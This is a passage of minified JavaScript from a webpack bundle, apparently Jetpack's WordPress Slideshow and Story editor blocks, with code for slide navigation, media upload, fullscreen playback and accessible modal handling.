a(e){e.slides.length&gt;1&amp;&amp;(e.loopDestroy(),e.params.loop=!0,e.loopCreate(),e.update()),i(e),l(e),e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-pause&quot;).addEventListener(&quot;click&quot;,function(){e.el&amp;&amp;(e.el.classList.contains(o)?(e.el.classList.remove(o),e.autoplay.start(),this.setAttribute(&quot;aria-label&quot;,&quot;Pause Slideshow&quot;)):(e.el.classList.add(o),e.autoplay.stop(),this.setAttribute(&quot;aria-label&quot;,&quot;Play Slideshow&quot;)))})}function i(e){if(!e||!e.el)return;const t=e.params.loop?e.el.querySelector(&#039;.swiper-slide[data-swiper-slide-index=&quot;0&quot;] img&#039;):e.el.querySelector(&quot;.swiper-slide img&quot;);if(!t)return;let s;if(t.naturalWidth&gt;0&amp;&amp;t.naturalHeight&gt;0)s=t.naturalWidth/t.naturalHeight;else if(t.dataset.aspectRatio){const e=t.dataset.aspectRatio.match(/(\d+) \/ (\d+)/);e&amp;&amp;e[1]&amp;&amp;e[2]&amp;&amp;(s=parseInt(e[1],10)/parseInt(e[2],10))}else t.getAttribute(&quot;width&quot;)&amp;&amp;t.getAttribute(&quot;height&quot;)&amp;&amp;(s=parseInt(t.getAttribute(&quot;width&quot;),10)/parseInt(t.getAttribute(&quot;height&quot;),10));s||(s=n,t.complete||t.addEventListener(&quot;load&quot;,()=&gt;i(e),{once:!0}));const r=Math.max(Math.min(s,n),1),o=&quot;undefined&quot;!=typeof window?.8*window.innerHeight:600,a=Math.min(e.width/r,o),l=`${Math.floor(a)}px`,c=`${Math.floor(a/2)}px`;e.el.classList.add(&quot;wp-swiper-initialized&quot;),e.wrapperEl.style.height=l,e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-prev&quot;).style.top=c,e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-next&quot;).style.top=c}function l(e){(e.slides||[]).forEach((t,s)=&gt;{t.setAttribute(&quot;aria-hidden&quot;,s===e.activeIndex?&quot;false&quot;:&quot;true&quot;),s===e.activeIndex?t.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;):t.removeAttribute(&quot;tabindex&quot;)}),function(e){const t=e.slides[e.activeIndex];if(!t)return;const s=t.getElementsByTagName(&quot;FIGCAPTION&quot;)[0],n=t.getElementsByTagName(&quot;IMG&quot;)[0];e.a11y.liveRegion&amp;&amp;(e.a11y.liveRegion[0].innerHTML=s?s.innerHTML:(0,r.escapeHTML)(n.alt))}(e)}function c(e){(e.pagination.bullets||[]).forEach(t=&gt;{t.addEventListener(&quot;click&quot;,()=&gt;{const t=e.slides[e.realIndex];setTimeout(()=&gt;{t.focus()},500)})})}},37332(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(74997);function n(e){return e.filter(({id:e,url:t})=&gt;e&amp;&amp;t)}const o={from:[{type:&quot;block&quot;,isMultiBlock:!0,blocks:[&quot;core/image&quot;],isMatch:e=&gt;n(e).length&gt;0,transform:e=&gt;{const t=n(e);return(0,r.createBlock)(&quot;jetpack/slideshow&quot;,{images:t.map(({alt:e,caption:t,id:s,url:r})=&gt;({alt:e,caption:t,id:s,url:r})),ids:t.map(({id:e})=&gt;e)})}},{type:&quot;block&quot;,blocks:[&quot;core/gallery&quot;,&quot;jetpack/tiled-gallery&quot;],transform:({images:e})=&gt;{const t=n(e);return t.length&gt;0?(0,r.createBlock)(&quot;jetpack/slideshow&quot;,{images:t.map(({alt:e,caption:t,id:s,url:r})=&gt;({alt:e,caption:t,id:s,url:r})),ids:t.map(({id:e})=&gt;e)}):(0,r.createBlock)(&quot;jetpack/slideshow&quot;)}}],to:[{type:&quot;block&quot;,blocks:[&quot;core/gallery&quot;],transform:({images:e,ids:t})=&gt;(0,r.createBlock)(&quot;core/gallery&quot;,{images:e,ids:t})},{type:&quot;block&quot;,blocks:[&quot;core/image&quot;],transform:({images:e})=&gt;e.length&gt;0?e.map(({id:e,url:t,alt:s,caption:n})=&gt;(0,r.createBlock)(&quot;core/image&quot;,{id:e,url:t,alt:s,caption:n})):(0,r.createBlock)(&quot;core/image&quot;)}]}},63728(e,t,s){&quot;use strict&quot;;function r(){const e=(e,t)=&gt;{const s=e.querySelector(&quot;.wp-site-blocks&quot;);if(!s)return;const{paddingLeft:r,paddingRight:n}=window.getComputedStyle(s),o=parseFloat(r)+parseFloat(n);e.querySelectorAll(t?&quot;.wp-block-group.is-vertical:not(.is-layout-constrained) .wp-block-jetpack-slideshow&quot;:&quot;.wp-block-group.is-vertical:not(.is-layout-constrained) .wp-block-jetpack-slideshow:not(.entry-content .wp-block-jetpack-slideshow)&quot;).forEach(e=&gt;{e.style.maxWidth=`calc(100vw - ${o}px)`})};e(document,!1);document.querySelectorAll(&quot;iframe&quot;).forEach(t=&gt;{const s=t.contentDocument,r=t.closest(&quot;#editor&quot;);if(s&amp;&amp;r){s.querySelectorAll(&quot;.wp-block-group.is-vertical:not(.is-layout-constrained) .wp-block-jetpack-slideshow&quot;).forEach(e=&gt;{e.style.maxWidth=&quot;inherit&quot;})}else s&amp;&amp;e(s,!0)})}s.d(t,{A:()=&gt;r})},95628(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(74490),l=s(10790);const __=a.__,c=({allowedMediaTypes:e,attributes:{mediaFiles:t},onSelectMedia:s})=&gt;(0,l.jsx)(o.Fragment,{children:(0,l.jsx)(r.BlockControls,{children:!!t.length&amp;&amp;(0,l.jsx)(n.ToolbarGroup,{children:(0,l.jsx)(n.ToolbarItem,{children:()=&gt;(0,l.jsx)(r.MediaUpload,{title:__(&quot;Edit Story&quot;,&quot;jetpack&quot;),onSelect:s,allowedTypes:e,addToGallery:!0,multiple:&quot;add&quot;,value:t.map(e=&gt;e.id),render:({open:e})=&gt;(0,l.jsx)(i.A,{label:__(&quot;Edit Story&quot;,&quot;jetpack&quot;),onClick:e})})})})})})},51602(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(85985),n=s(63162),o=s(94715),a=s(56427),i=s(47143),l=s(27723),c=s(13022),u=s(68331),d=s(95628),p=s(97896),h=(s(42646),s(10790));const __=l.__,m=[&quot;image&quot;,&quot;video&quot;],g=[&quot;alt&quot;,&quot;title&quot;,&quot;id&quot;,&quot;link&quot;,&quot;type&quot;,&quot;mime&quot;,&quot;caption&quot;,&quot;width&quot;,&quot;height&quot;],f=(0,r.sh)(u),b=e=&gt;{const t=Object.fromEntries(Object.entries(e).filter(([e])=&gt;g.includes(e)));return t.url=e?.media_details?.original?.url||e?.media_details?.videopress?.original||e?.media_details?.sizes?.large?.source_url||e?.sizes?.large?.url||e.url,t.type=e.media_type||e.type,t.mime=e.mime_type||e.mime,t.title=t.title?.rendered||t.title,t.width=t.width||e.media_details?.width,t.height=t.height||e.media_details?.height,t},v=(0,a.withNotices)(function({attributes:e,isSelected:t,noticeOperations:s,noticeUI:r,setAttributes:a}){const{mediaFiles:l}=e,{lockPostSaving:u,unlockPostSaving:g}=(0,i.useDispatch)(&quot;core/editor&quot;),v=(0,o.useBlockProps)(),k=&quot;storyBlockLock&quot;,y=e=&gt;{const t=e.map(e=&gt;{if(!isNaN(e)){return l.find(t=&gt;t.id===e)||{id:e}}return e}).map(b),s=t.filter(e=&gt;!(0,n.isBlobURL)(e.url));t.length!==s.length?u(k):g(k),a({mediaFiles:t})},x=(0,h.jsx)(d.A,{allowedMediaTypes:m,attributes:e,onSelectMedia:y}),j=!!l.length,w=(0,h.jsx)(o.MediaPlaceholder,{addToGallery:j,isAppender:j,className:v.className,disableMediaButtons:j&amp;&amp;!t,icon:!j&amp;&amp;f,labels:{title:!j&amp;&amp;__(&quot;Story&quot;,&quot;jetpack&quot;),instructions:!j&amp;&amp;__(&quot;Drag images and videos, upload new ones, or select files from your library.&quot;,&quot;jetpack&quot;)},onSelect:y,accept:m.map(e=&gt;e+&quot;/*&quot;).join(&quot;,&quot;),allowedTypes:m,multiple:&quot;add&quot;,value:l,notices:j?void 0:r,onError:s.createErrorNotice});let _;return _=j?(0,h.jsxs)(h.Fragment,{children:[x,r,(0,h.jsx)(p.A,{slides:l,disabled:!t,showSlideCount:t,shadowDOM:{enabled:!1},playInFullscreen:!1,tapToPlayPause:!1,playOnNextSlide:!1}),t&amp;&amp;w]}):(0,h.jsxs)(h.Fragment,{children:[x,w]}),(0,h.jsx)(&quot;div&quot;,{...v,className:(0,c.A)(&quot;wp-block-jetpack-story&quot;,&quot;wp-story&quot;,v.className),children:_})})},55127(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(68331),o=s(51602),a=s(22711);const i={mediaFiles:[{alt:&quot;&quot;,caption:&quot;&quot;,mime:&quot;image/jpg&quot;,type:&quot;image&quot;,id:22,url:s(48734)}]};(0,r.M)(n,{edit:o.A,save:a.A,example:{attributes:i}})},71645(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(5573),n=s(10790);function o({currentMedia:e}){const t=e&amp;&amp;&quot;image&quot;===e.type?e.url:null;return(0,n.jsxs)(&quot;div&quot;,{className:&quot;wp-story-background&quot;,children:[(0,n.jsx)(&quot;div&quot;,{className:&quot;wp-story-background-image&quot;,style:{backgroundImage:t?`url(&quot;${t}&quot;)`:&quot;none&quot;}}),(0,n.jsx)(&quot;div&quot;,{className:&quot;wp-story-background-blur&quot;}),(0,n.jsx)(r.SVG,{version:&quot;1.1&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;0&quot;,height:&quot;0&quot;,children:(0,n.jsx)(&quot;filter&quot;,{id:&quot;gaussian-blur-18&quot;,children:(0,n.jsx)(&quot;feGaussianBlur&quot;,{stdDeviation:&quot;18&quot;})})})]})}},79809(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(13022),o=s(10790);const __=r.__;function a({isEllipsis:e,disabled:t,index:s,isSelected:a,progress:i,onClick:l}){const c=t||e;let u=null;return e||(u=a?(0,r.sprintf)(/* translators: %d: Slide number. */
__(&quot;Slide %d, currently selected&quot;,&quot;jetpack&quot;),s+1):(0,r.sprintf)(/* translators: %d: Slide number. */
__(&quot;Go to slide %d&quot;,&quot;jetpack&quot;),s+1)),(0,o.jsx)(&quot;button&quot;,{role:c?&quot;presentation&quot;:&quot;tab&quot;,className:(0,n.A)(&quot;wp-story-pagination-bullet&quot;,{&quot;wp-story-pagination-ellipsis&quot;:e}),&quot;aria-label&quot;:u,&quot;aria-disabled&quot;:c||a,onClick:c||a?void 0:l,disabled:c,children:(0,o.jsx)(&quot;div&quot;,{className:&quot;wp-story-pagination-bullet-bar&quot;,children:(0,o.jsx)(&quot;div&quot;,{className:&quot;wp-story-pagination-bullet-bar-progress&quot;,style:{width:`${i}%`}})})},s)}},35941(e,t,s){&quot;use strict&quot;;s.d(t,{d:()=&gt;a,k:()=&gt;o});var r=s(13022),n=(s(72556),s(10790));const o=({className:e,size:t,label:s,isPressed:o,...a})=&gt;(0,n.jsx)(&quot;button&quot;,{type:&quot;button&quot;,&quot;aria-label&quot;:s,&quot;aria-pressed&quot;:o,className:(0,r.A)(&quot;jetpack-mdc-icon-button&quot;,&quot;circle-icon&quot;,&quot;outlined&quot;,&quot;bordered&quot;,e),style:{width:`${t}px`,height:`${t}px`},...a}),a=({className:e,size:t=24,label:s,isPressed:o,...a})=&gt;(0,n.jsx)(&quot;button&quot;,{type:&quot;button&quot;,&quot;aria-label&quot;:s,&quot;aria-pressed&quot;:o,className:(0,r.A)(&quot;jetpack-mdc-icon-button&quot;,e),style:{width:`${t}px`,height:`${t}px`},...a})},20058(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);const n=()=&gt;(0,r.jsx)(&quot;div&quot;,{className:&quot;wp-story-loading-spinner&quot;,children:(0,r.jsx)(&quot;div&quot;,{className:&quot;wp-story-loading-spinner__outer&quot;,children:(0,r.jsx)(&quot;div&quot;,{className:&quot;wp-story-loading-spinner__inner&quot;})})})},48907(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(27723),n=s(35941),o=s(44227),a=s(10790);const _x=r._x;function i({playing:e,muted:t,onPlayPressed:s,onMutePressed:r,showMute:i}){return(0,a.jsxs)(&quot;div&quot;,{className:&quot;wp-story-controls&quot;,children:[(0,a.jsx)(n.d,{isPressed:e,label:e?_x(&quot;pause&quot;,&quot;Button tooltip text&quot;,&quot;jetpack&quot;):_x(&quot;play&quot;,&quot;Button tooltip text&quot;,&quot;jetpack&quot;,0),onClick:s,children:e?(0,a.jsx)(o.E$,{}):(0,a.jsx)(o.ud,{})}),i&amp;&amp;(0,a.jsx)(n.d,{isPressed:t,label:t?_x(&quot;unmute&quot;,&quot;Button tooltip text&quot;,&quot;jetpack&quot;):_x(&quot;mute&quot;,&quot;Button tooltip text&quot;,&quot;jetpack&quot;,0),onClick:r,children:t?(0,a.jsx)(o.lQ,{}):(0,a.jsx)(o.Fz,{})})]})}},41256(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(27723),n=s(35941),o=s(44227),a=s(10790);const __=r.__;function i({fullscreen:e,onExitFullscreen:t,siteIconUrl:s,storyTitle:r}){return e?(0,a.jsxs)(&quot;div&quot;,{className:&quot;wp-story-meta&quot;,children:[(0,a.jsx)(&quot;div&quot;,{className:&quot;wp-story-icon&quot;,children:(0,a.jsx)(&quot;img&quot;,{alt:__(&quot;Site icon&quot;,&quot;jetpack&quot;),src:s,width:&quot;40&quot;,height:&quot;40&quot;})}),(0,a.jsx)(&quot;div&quot;,{children:(0,a.jsx)(&quot;div&quot;,{className:&quot;wp-story-title&quot;,children:r})}),(0,a.jsx)(n.d,{className:&quot;wp-story-exit-fullscreen&quot;,label:__(&quot;Exit Fullscreen&quot;,&quot;jetpack&quot;),onClick:t,children:(0,a.jsx)(o.US,{})})]}):null}},44227(e,t,s){&quot;use strict&quot;;s.d(t,{E$:()=&gt;l,Ej:()=&gt;p,Fz:()=&gt;u,US:()=&gt;c,af:()=&gt;h,lQ:()=&gt;d,ud:()=&gt;i});var r=s(5573),n=s(62289),o=s(10790);const a=({children:e,size:t})=&gt;(0,n.A)(e,t,t),i=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M8 5v14l11-7z&quot;})}),l=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M6 19h4V5H6v14zm8-14v14h4V5h-4z&quot;})}),c=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z&quot;})}),u=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77z&quot;})}),d=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9L4.27 3zM12 4L9.91 6.09 12 8.18V4z&quot;})}),p=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z&quot;})}),h=({size:e})=&gt;(0,o.jsx)(a,{size:e,children:(0,o.jsx)(r.Path,{d:&quot;M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z&quot;})})},84545(e,t,s){&quot;use strict&quot;;s.d(t,{$U:()=&gt;c.$U,Dv:()=&gt;r.A,H2:()=&gt;n.A,VS:()=&gt;i.A,Y9:()=&gt;o.A,hJ:()=&gt;a.A,xu:()=&gt;l.A});var r=s(79809),n=s(48907),o=s(41256),a=s(38925),i=s(71645),l=s(20058),c=s(45221);s(35941)},45221(e,t,s){&quot;use strict&quot;;s.d(t,{$U:()=&gt;i});var r=s(13022),n=s(10790);const o=({title:e,alt:t,className:s,id:o,mediaRef:a,mime:i,sizes:l,srcset:c,url:u})=&gt;(0,n.jsx)(&quot;img&quot;,{ref:a,&quot;data-id&quot;:o,&quot;data-mime&quot;:i,title:e,alt:t,src:u,className:(0,r.A)(&quot;wp-story-image&quot;,`wp-image-${o}`,s),srcSet:c,sizes:l}),a=({title:e,className:t,id:s,mediaRef:o,mime:a,url:i,poster:l})=&gt;(0,n.jsx)(&quot;video&quot;,{className:(0,r.A)(&quot;wp-story-video&quot;,&quot;intrinsic-ignore&quot;,`wp-video-${s}`,t),ref:o,&quot;data-id&quot;:s,title:e,type:a,src:i,poster:l,tabIndex:-1,preload:&quot;auto&quot;,playsInline:!0}),i=({targetAspectRatio:e,cropUpTo:t,type:s,width:r,height:i,...l})=&gt;{let c=null;if(r&amp;&amp;i){const s=r/i;if(s&gt;=e){s&gt;e/(1-t)||(c=&quot;wp-story-crop-wide&quot;)}else{s&lt;e*(1-t)||(c=&quot;wp-story-crop-narrow&quot;)}}const u=&quot;video&quot;===s||(l.mime||&quot;&quot;).startsWith(&quot;video/&quot;);return(0,n.jsx)(&quot;figure&quot;,{children:u?(0,n.jsx)(a,{...l,className:c}):(0,n.jsx)(o,{...l,className:c})})}},38925(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(86087),n=s(27723),o=s(14847),a=s(35941),i=s(44227),l=s(10790);const __=n.__;function c({ended:e,hasPrevious:t,onNextSlide:s,onPreviousSlide:c,icon:u,slideCount:d,showSlideCount:p}){const h=(0,r.useCallback)(t=&gt;{e||(t.stopPropagation(),c())},[c,e]),m=(0,r.useCallback)(t=&gt;{e||(t.stopPropagation(),s())},[s,e]);return(0,l.jsxs)(&quot;div&quot;,{className:&quot;wp-story-overlay&quot;,children:[p&amp;&amp;(0,l.jsxs)(&quot;div&quot;,{className:&quot;wp-story-embed-icon&quot;,children:[u,(0,l.jsx)(&quot;span&quot;,{children:d})]}),!p&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-story-embed-icon-expand&quot;,children:(0,l.jsx)(o.A,{role:&quot;img&quot;})}),t&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-story-prev-slide&quot;,onClick:h,children:(0,l.jsx)(a.k,{size:44,label:__(&quot;Previous Slide&quot;,&quot;jetpack&quot;),className:&quot;outlined-w&quot;,children:(0,n.isRTL)()?(0,l.jsx)(i.af,{size:24}):(0,l.jsx)(i.Ej,{size:24})})}),(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-story-next-slide&quot;,onClick:m,children:(0,l.jsx)(a.k,{size:44,label:__(&quot;Next Slide&quot;,&quot;jetpack&quot;),className:&quot;outlined-w&quot;,children:(0,n.isRTL)()?(0,l.jsx)(i.Ej,{size:24}):(0,l.jsx)(i.af,{size:24})})})]})}},92248(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(86087),n=s(13022),o=s(10938),a=s(41055),i=s(51266),l=s(10790);const c=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent);function u({className:e,fullscreenClassName:t,bodyFullscreenClassName:s,fullscreen:u,shadowDOM:d,onKeyDown:p,onExitFullscreen:h,playerQuerySelector:m,children:g}){const f=(0,r.useRef)(void 0),b=(0,r.useRef)(void 0),[v,k]=(0,r.useState)(null),y=c&amp;&amp;o.Sn(),x=u&amp;&amp;!y,j=u&amp;&amp;y;return(0,r.useLayoutEffect)(()=&gt;{if(y)u?f.current&amp;&amp;o.ql(f.current,h):o.ND()&amp;&amp;o.NS();else if(u){if(k([document.documentElement.scrollLeft,document.documentElement.scrollTop]),document.body.classList.add(s),document.getElementsByTagName(&quot;html&quot;)[0].classList.add(s),b.current){const e=b.current.querySelector(m);e&amp;&amp;e.focus()}}else if(document.body.classList.remove(s),document.getElementsByTagName(&quot;html&quot;)[0].classList.remove(s),v){window.scrollTo(...v);const e=f.current.querySelector(m);e&amp;&amp;e.focus()}},[u]),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(a.A,{...d,children:(0,l.jsx)(&quot;div&quot;,{ref:f,className:(0,n.A)(e,{[t]:j}),onKeyDown:p,children:!x&amp;&amp;g})}),(0,l.jsx)(i.A,{className:(0,n.A)(e,{[t]:x}),isOpened:x,onRequestClose:h,shadowDOM:d,onKeyDown:x&amp;&amp;p,focusOnMount:!1,modalRef:b,children:x&amp;&amp;g})]})}},97896(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(47143),n=s(86087),o=s(48558),a=s(92248),i=s(33470),l=(s(25440),s(57418),s(10790));function c({id:e,slides:t,metadata:s,disabled:c,...u}){const d=(0,n.useMemo)(()=&gt;e||Math.random().toString(36),[e]),{init:p,setEnded:h,setPlaying:m,setFullscreen:g,showSlide:f}=(0,r.useDispatch)(&quot;jetpack/story/player&quot;),{playing:b,currentSlideIndex:v,fullscreen:k,isReady:y,playerSettings:x}=(0,r.useSelect)(e=&gt;{const{getCurrentSlideIndex:t,getSettings:s,isFullscreen:r,isPlayerReady:n,isPlaying:o}=e(&quot;jetpack/story/player&quot;);return n(d)?{playing:o(d),currentSlideIndex:t(d),isReady:!0,fullscreen:r(d),playerSettings:s(d)}:{isReady:!1}},[d]);(0,n.useEffect)(()=&gt;{y||p(d,{slideCount:t.length,...u})},[y,d]);const j=(0,n.useCallback)(e=&gt;{switch(e.keyCode){case o.ENTER:if(k)break;case o.SPACE:m(d,!b);break;case o.LEFT:v&gt;0&amp;&amp;f(d,v-1);break;case o.RIGHT:v&lt;t.length-1?f(d,v+1):h(d)}},[d,v,k,b]),w=(0,n.useCallback)(()=&gt;{g(d,!1)},[d]);return y?(0,l.jsx)(a.A,{shadowDOM:x.shadowDOM,className:&quot;wp-story-app&quot;,fullscreenClassName:&quot;wp-story-fullscreen&quot;,bodyFullscreenClassName:&quot;wp-story-in-fullscreen&quot;,playerQuerySelector:&quot;.wp-story-container&quot;,fullscreen:k,onExitFullscreen:w,onKeyDown:j,children:(0,l.jsx)(i.A,{id:d,slides:t,metadata:s,disabled:c})}):null}},10938(e,t,s){&quot;use strict&quot;;s.d(t,{ND:()=&gt;n,NS:()=&gt;a,Sn:()=&gt;r,ql:()=&gt;o});const r=()=&gt;document.fullscreenEnabled||document.webkitFullscreenEnabled||document.mozFullScreenEnabled||document.msFullscreenEnabled,n=()=&gt;document.fullscreenElement||document.webkitFullscreenElement||document.mozFullScreenElement||document.msFullScreenElement,o=(e,t)=&gt;{if((e.requestFullscreen||e.webkitRequestFullScreen||e.mozRequestFullScreen||e.msRequestFullscreen).call(e),t){const e=()=&gt;{document.fullscreenElement||(document.removeEventListener(&quot;fullscreenchange&quot;,e),t())};document.addEventListener(&quot;fullscreenchange&quot;,e)}},a=()=&gt;(document.exitFullscreen||document.webkitExitFullscreen||document.mozCancelFullScreen||document.msExitFullscreen).call(document)},41055(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(10790);const o=window&amp;&amp;window.Element&amp;&amp;Object.hasOwn(window.Element.prototype,&quot;attachShadow&quot;);function a({enabled:e,delegatesFocus:t=!1,mode:s=&quot;open&quot;,globalStyleElements:a=[],adoptedStyleSheets:l=null,mountOnElement:c=null,children:u}){const[d,p]=(0,r.useState)(null),h=c||d,[m,g]=(0,r.useState)(null),f=&quot;string&quot;==typeof a?[...document.querySelectorAll(a)]:a,b=o&amp;&amp;e&amp;&amp;f.length&gt;0,v=(0,r.useCallback)(e=&gt;{null!==e&amp;&amp;p(e.parentNode)},[]);if((0,r.useEffect)(()=&gt;{if(!h)return;if(h.shadowRoot)return void g(h.shadowRoot);const e=h.attachShadow({delegatesFocus:t,mode:s});l&amp;&amp;(e.adoptedStyleSheets=l),g(e)},[h]),b&amp;&amp;!m)return c?null:(0,n.jsx)(&quot;span&quot;,{ref:v});const k=(0,n.jsxs)(n.Fragment,{children:[b&amp;&amp;(0,n.jsx)(i,{globalStyleElements:f}),u]});return b?(0,r.createPortal)(k,m):k}function i({globalStyleElements:e}){return(0,n.jsx)(n.Fragment,{children:e.map(({id:e,tagName:t,attributes:s,innerHTML:r},o)=&gt;&quot;LINK&quot;===t?(0,n.jsx)(&quot;link&quot;,{id:e,rel:s.rel.value,href:s.href.value},e||o):&quot;STYLE&quot;===t?(0,n.jsx)(&quot;style&quot;,{id:e,children:r},e||o):void 0)})}},96464(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(86087);const n=e=&gt;{const t=(0,r.useRef)(void 0),s=(0,r.useRef)(void 0),n=(0,r.useRef)(e),o=(0,r.useCallback)(e=&gt;{e.touches&amp;&amp;1===e.touches.length&amp;&amp;e.preventDefault()},[]);return(0,r.useEffect)(()=&gt;{n.current=e},[e]),{onTouchStart:(0,r.useCallback)(e=&gt;{e.target&amp;&amp;(e.target.addEventListener(&quot;touchend&quot;,o,{passive:!1}),s.current=e.target),t.current=setTimeout(()=&gt;{n.current&amp;&amp;n.current(!0),t.current=null},200)},[]),onTouchEnd:(0,r.useCallback)(e=&gt;{t.current?clearTimeout(t.current):(n.current&amp;&amp;n.current(!1),e.stopPropagation()),s.current&amp;&amp;s.current.removeEventListener(&quot;touchend&quot;,o)},[])}}},55028(e,t,s){&quot;use strict&quot;;async function r(e){const t=e.tagName.toLowerCase();if(&quot;img&quot;===t){if(e.complete)return;await new Promise(t=&gt;{e.addEventListener(&quot;load&quot;,t,{once:!0})})}else if(&quot;video&quot;===t||&quot;audio&quot;===t){if(e.HAVE_ENOUGH_DATA===e.readyState)return;await new Promise(t=&gt;{e.addEventListener(&quot;canplaythrough&quot;,t,{once:!0}),e.addEventListener(&quot;load&quot;,t,{once:!0}),e.HAVE_NOTHING===e.readyState&amp;&amp;e.networkState!==e.NETWORK_LOADING&amp;&amp;e.load()})}}s.d(t,{A:()=&gt;r})},72246(e,t,s){&quot;use strict&quot;;s.d(t,{WI:()=&gt;a,fe:()=&gt;l});const r=new Set([&quot;alert&quot;,&quot;status&quot;,&quot;log&quot;,&quot;marquee&quot;,&quot;timer&quot;]);let n=[],o=!1;function a(e){if(o)return;const t=document.body.children;for(const s of t)s!==e&amp;&amp;i(s)&amp;&amp;(s.setAttribute(&quot;aria-hidden&quot;,&quot;true&quot;),n.push(s));o=!0}function i(e){const t=e.getAttribute(&quot;role&quot;);return!(&quot;SCRIPT&quot;===e.tagName||e.hasAttribute(&quot;aria-hidden&quot;)||e.hasAttribute(&quot;aria-live&quot;)||r.has(t))}function l(){if(o){for(const e of n)e.removeAttribute(&quot;aria-hidden&quot;);n=[],o=!1}}},38215(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(29491),n=s(48558),o=s(10790);function a({overlayClassName:e,children:t,className:s,focusOnMount:a,shouldCloseOnEsc:i=!0,onRequestClose:l,onKeyDown:c,modalRef:u}){const d=(0,r.useFocusOnMount)(a),p=(0,r.useConstrainedTabbing)(),h=(0,r.useFocusReturn)();return(0,o.jsx)(&quot;div&quot;,{className:e,onKeyDown:function(e){i&amp;&amp;e.keyCode===n.ESCAPE&amp;&amp;(e.stopPropagation(),l&amp;&amp;l(e)),e.target&amp;&amp;&quot;button&quot;===e.target.tagName.toLowerCase()&amp;&amp;e.keyCode===n.SPACE||c&amp;&amp;c(e)},children:(0,o.jsx)(&quot;div&quot;,{className:s,ref:(0,r.useMergeRefs)([p,h,d,u]),children:t})})}},51266(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(29491),n=s(86087),o=s(41055),a=s(72246),i=s(38215),l=s(10790);let c,u=0;const d=()=&gt;{};class p extends n.Component{constructor(e){super(e),this.prepareDOM()}componentDidMount(){u++,1===u&amp;&amp;this.openFirstModal()}componentWillUnmount(){u--,0===u&amp;&amp;this.closeLastModal(),this.cleanDOM()}prepareDOM(){c||(c=document.createElement(&quot;div&quot;),document.body.appendChild(c)),this.node=document.createElement(&quot;div&quot;),c.appendChild(this.node),this.node.ontouchstart=d,this.node.ontouchend=d}cleanDOM(){this.node&amp;&amp;c&amp;&amp;c.contains(this.node)&amp;&amp;c.removeChild(this.node),this.node=null}openFirstModal(){a.WI(c)}closeLastModal(){a.fe()}render(){const{children:e,isOpened:t,shadowDOM:s,...r}=this.props;return(0,l.jsx)(o.A,{...s,mountOnElement:this.node,children:t&amp;&amp;(0,l.jsx)(i.A,{...r,children:e})})}}p.defaultProps={shouldCloseOnEsc:!0,isOpened:!1,focusOnMount:!0};const h=(0,r.withInstanceId)(p)},33470(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(85985),n=s(63162),o=s(29491),a=s(47143),i=s(86087),l=s(27723),c=s(13022),u=s(68331),d=s(84545),p=s(96464),h=s(65489),m=s(42153),g=s(10790);const __=l.__,f=(0,r.sh)(u);function 